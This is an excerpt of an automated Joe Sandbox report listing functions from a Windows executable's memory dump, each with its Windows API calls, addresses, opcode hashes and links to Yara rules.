Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e23ccb6ea90456ca43024005b6c56e686d2f5de6aa5dcc8281375fe0869fb601
Instruction ID: e2f273a3767201b3d1e2f6a511c1339c543649e5c8cf679227c2a68f0ea886bb
Opcode Fuzzy Hash: e23ccb6ea90456ca43024005b6c56e686d2f5de6aa5dcc8281375fe0869fb601
Instruction Fuzzy Hash: 6971D4B29051A86FDF20EF69CC9DABEBBB8AF05300F1441DAE44997211DB718F859F10

Function 00AD5020 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00AD502C
IsDebuggerPresent.KERNEL32 ref: 00AD50F8
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00AD5111
UnhandledExceptionFilter.KERNEL32(?), ref: 00AD511B

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: c3fc38a38c604409ab3ffd30c1e6b7002db7617b27da8bb84fed599315eb153e
Instruction ID: 2094fb3f57cf504dba3a080ad68a54a3f9615be76856b4899205d920aa1954a0
Opcode Fuzzy Hash: c3fc38a38c604409ab3ffd30c1e6b7002db7617b27da8bb84fed599315eb153e
Instruction Fuzzy Hash: BB31D9B5D052189BDF21EFA5DD897CDBBB8AF08700F1041AAE40DAB250EB719B85CF45

Function 00AE2CFF Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00ADE783: GetLastError.KERNEL32(00000000,?,00AE0AB9), ref: 00ADE787
Part of subcall function 00ADE783: SetLastError.KERNEL32(00000000,?,?,00000028,00ADB9D2), ref: 00ADE829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00AE2D53
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00AE2D9D
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00AE2E63

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 42e3238eb4f53569854ae3cd1140b89c36455ecbd1c40e03572bf0c534f53e76
Instruction ID: ee6fa440e34d87fa9ac311384d30da72849bc85b859076ac788fe0b6c240235d
Opcode Fuzzy Hash: 42e3238eb4f53569854ae3cd1140b89c36455ecbd1c40e03572bf0c534f53e76
Instruction Fuzzy Hash: 7B616E71910257AFDB38DF2ACD82BBA77ACEF14300F1441BAE905C6285EB74D991DB50

Function 00ADB4B9 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00AD31E1), ref: 00ADB5B1
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00AD31E1), ref: 00ADB5BB
UnhandledExceptionFilter.KERNEL32(00AD1542,?,?,?,?,?,00AD31E1), ref: 00ADB5C8

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b9b4215de1d48329ad9f8c60087fdd3bcdcca6c285aa6ed6642e9dfe78a5890f
Instruction ID: dfece2647aeda6779dcaefc2a0981e608592a16142abb62063775c5c30d3cfd7
Opcode Fuzzy Hash: b9b4215de1d48329ad9f8c60087fdd3bcdcca6c285aa6ed6642e9dfe78a5890f
Instruction Fuzzy Hash: 7B31E375911228ABCB21DF68DD8979CBBB8BF08710F5042EAE40DA7261E7709F818F54

Function 00AE36A9 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADF807: HeapAlloc.KERNEL32(00000008,?,00AD31E1,?,00ADE921,00000001,00000364,00AD31E1,00000003,000000FF,?,00AD60C1,00AD186C,00AD186A,?,?), ref: 00ADF848

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00AE384A
FindNextFileW.KERNEL32(00000000,?), ref: 00AE393E
FindClose.KERNEL32(00000000), ref: 00AE397D
FindClose.KERNEL32(00000000), ref: 00AE39B0

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: e97f8a21afc9a525a125c8122d0233fcc5f00398f3280a24e8b9765bf3a63f8e
Instruction ID: 5bbf34192879899badbce27060fda022057ce03ff9778f4092ef096ebb05f66c
Opcode Fuzzy Hash: e97f8a21afc9a525a125c8122d0233fcc5f00398f3280a24e8b9765bf3a63f8e
Instruction Fuzzy Hash: 665147B7900198AFDF14EF7A8C9D9BFB7B9DF85314F14419AF80997201EA309E419B60

Function 00AE2FB1 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00ADE783: GetLastError.KERNEL32(00000000,?,00AE0AB9), ref: 00ADE787
Part of subcall function 00ADE783: SetLastError.KERNEL32(00000000,?,?,00000028,00ADB9D2), ref: 00ADE829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00AE3005

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 2b87c08cfc28d91cddbc2d1eb09b91d295f7fc6cac68e9938edfb1151ecebd81
Instruction ID: e052eefdab9be91eee14267b16502c9a4895e3cf0c0258a8d8027849c8e14a51
Opcode Fuzzy Hash: 2b87c08cfc28d91cddbc2d1eb09b91d295f7fc6cac68e9938edfb1151ecebd81
Instruction Fuzzy Hash: C6218372501286ABDF28AB6ADD85ABB77A8EF44310F10017AF902D7245EB74DE40C750

Function 00AE30D1 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00ADE783: GetLastError.KERNEL32(00000000,?,00AE0AB9), ref: 00ADE787
Part of subcall function 00ADE783: SetLastError.KERNEL32(00000000,?,?,00000028,00ADB9D2), ref: 00ADE829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00AE3125

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 5c42b126dd5f02c63c13ff70ee5af28be52b34ef616c445914936e6c11eeaa2f
Instruction ID: 5d5b1d4427c0f016f59c9b576addd6a6c221e504bf1e311fc6c299a77384e0ee
Opcode Fuzzy Hash: 5c42b126dd5f02c63c13ff70ee5af28be52b34ef616c445914936e6c11eeaa2f
Instruction Fuzzy Hash: 1011C633511256ABDF14EB69DD46ABA77E8EF45310B10017AF602D7240EB74EE01D790

Function 00AE2C64 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00ADE783: GetLastError.KERNEL32(00000000,?,00AE0AB9), ref: 00ADE787
Part of subcall function 00ADE783: SetLastError.KERNEL32(00000000,?,?,00000028,00ADB9D2), ref: 00ADE829

EnumSystemLocalesW.KERNEL32(00AE2CFF,00000001,00000000,?,-00000050,?,00AE2AEF,00000000,-00000002,00000000,?,00000055,?), ref: 00AE2CD6

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8377c957e611912c5da28adbc63f22f2ec6107ad22a98004fc6406a90cb0342d
Instruction ID: e1314f52889b8e3c5883795e4a2aed94b802b482ff2d510b895e262c23e32d22
Opcode Fuzzy Hash: 8377c957e611912c5da28adbc63f22f2ec6107ad22a98004fc6406a90cb0342d
Instruction Fuzzy Hash: 1911E53B2007455FDB18AF7AC8A16BABB96FFC4358B28482DE94787B40D771A943D740

Function 00AE327E Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00ADE783: GetLastError.KERNEL32(00000000,?,00AE0AB9), ref: 00ADE787
Part of subcall function 00ADE783: SetLastError.KERNEL32(00000000,?,?,00000028,00ADB9D2), ref: 00ADE829

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00AE2F1B,00000000,00000000,?), ref: 00AE32AA

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 88cc47a2a0e0e2a9f662fd07fffd85d2a18af371d7fb6c6cef5b574de99d8f98
Instruction ID: 26a41cb2eecbe661c0737744c51e358afd68cfdda1865a24db2fc78de0b96b44
Opcode Fuzzy Hash: 88cc47a2a0e0e2a9f662fd07fffd85d2a18af371d7fb6c6cef5b574de99d8f98
Instruction Fuzzy Hash: BA012633600152BBDF199B67C84ABFA3768DF50714F150429AD92A3180EA71EF41C694

Function 00AE2F52 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00ADE783: GetLastError.KERNEL32(00000000,?,00AE0AB9), ref: 00ADE787
Part of subcall function 00ADE783: SetLastError.KERNEL32(00000000,?,?,00000028,00ADB9D2), ref: 00ADE829

EnumSystemLocalesW.KERNEL32(00AE2FB1,00000001,?,?,-00000050,?,00AE2AB7,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 00AE2F9C

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 2f8b0d8fc30f28e553f3724fc37ec245603e7bc110cc89313d9bd4cc5db576bc
Instruction ID: 526215968c9edbdb2d961e9b1aba4452e01870a306ce3f80376d0b7b71200057
Opcode Fuzzy Hash: 2f8b0d8fc30f28e553f3724fc37ec245603e7bc110cc89313d9bd4cc5db576bc
Instruction Fuzzy Hash: 2AF0F6362003446FDB14AF7A9885B7A7BA5FF80768F05842DF9464B680C7B19C42C750

Function 00ADF717 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00ADB750: EnterCriticalSection.KERNEL32(-00023A67,?,00AD8F5A,00000000,00AF44D8,0000000C,00AD8F13,?,?,00ADF83A,?,?,00ADE921,00000001,00000364,00AD31E1), ref: 00ADB75F

EnumSystemLocalesW.KERNEL32(00ADF70A,00000001,00AF4928,0000000C,00ADF118,-00000050), ref: 00ADF74F

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: efaa1fc57ff7bf6ae2b6cb8c3cc198613da77c45700a143cef339a3c3b889105
Instruction ID: 8c3418fec88ce56b7febb17eee86c57568224863b2fdf2ade4d149eaf082dbcf
Opcode Fuzzy Hash: efaa1fc57ff7bf6ae2b6cb8c3cc198613da77c45700a143cef339a3c3b889105
Instruction Fuzzy Hash: 0BF0C976A05204DFD700EFA8E942BA977B0FB48721F10456AF5169B390C7B95901CF90

Function 00AE3086 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00ADE783: GetLastError.KERNEL32(00000000,?,00AE0AB9), ref: 00ADE787
Part of subcall function 00ADE783: SetLastError.KERNEL32(00000000,?,?,00000028,00ADB9D2), ref: 00ADE829

EnumSystemLocalesW.KERNEL32(00AE30D1,00000001,?,?,?,00AE2B11,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 00AE30BD

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 274e56df237a6deeaf39e8086f7598eb6731e600624573aee1b2448f55ad449b
Instruction ID: a8071b9808ce9def6509ecc4e2843e0bf3d4b7bdc141f5ab6e0bd30e48f136c9
Opcode Fuzzy Hash: 274e56df237a6deeaf39e8086f7598eb6731e600624573aee1b2448f55ad449b
Instruction Fuzzy Hash: 36F0E53B70024967CF04EF7AD85966ABF94EFC1710B064459EA068B251C6B29A82C790

Function 00ADF21C Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,00ADA4BC,?,20001004,00000000,00000002,?,?,00AD93CE), ref: 00ADF250

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: ce9f0ba8f4cc95f83960fe0934e011d880be421c555105fc39de1a6ab6869497
Instruction ID: eb31b68700c9fdd0e3b17c178fafbafc375f414421d3f1d3276cb9726ccb0805
Opcode Fuzzy Hash: ce9f0ba8f4cc95f83960fe0934e011d880be421c555105fc39de1a6ab6869497
Instruction Fuzzy Hash: 28E04F36500118BFCF126FA0DC09AEF7F25EF44760F004422FD1765361CB719921AA95

Function 00AD5014 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00005135), ref: 00AD5019

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 32c5c7d221b41f9119c98d9bc34dfdd4fbbc5c060e9d2b4ca85b0cdd68a9c4fe
Instruction ID: 901669dbd3ff7adf66d252bb86e3b7b0b8668bfadda3c17bddca7c2ab3411806
Opcode Fuzzy Hash: 32c5c7d221b41f9119c98d9bc34dfdd4fbbc5c060e9d2b4ca85b0cdd68a9c4fe
Instruction Fuzzy Hash:

Function 00ADFE2C Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00ADFE2C

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 7ce9e4eb6466aa1e64aa2440915eb4fd51cd919d239ab4096ed788c31915e3a7
Instruction ID: b257b8df95981d325675d7df2e7355b25cf32fe91e714c53c4ae6676f85e830a
Opcode Fuzzy Hash: 7ce9e4eb6466aa1e64aa2440915eb4fd51cd919d239ab4096ed788c31915e3a7
Instruction Fuzzy Hash: 43A01130A022028B8B00CFFAAA88A283AA8AA002C03088028A000C0020EBA08082EF00

Function 00AEA222 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00CFFE78,00CFFE78,00000000,7FFFFFFF,?,00AEA20D,00CFFE78,00CFFE78,00000000,00CFFE78,?,?,?,?,00CFFE78,00000000), ref: 00AEA2C8
__alloca_probe_16.LIBCMT ref: 00AEA383
__alloca_probe_16.LIBCMT ref: 00AEA412
__freea.LIBCMT ref: 00AEA45D
__freea.LIBCMT ref: 00AEA463
__freea.LIBCMT ref: 00AEA499
__freea.LIBCMT ref: 00AEA49F
__freea.LIBCMT ref: 00AEA4AF

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
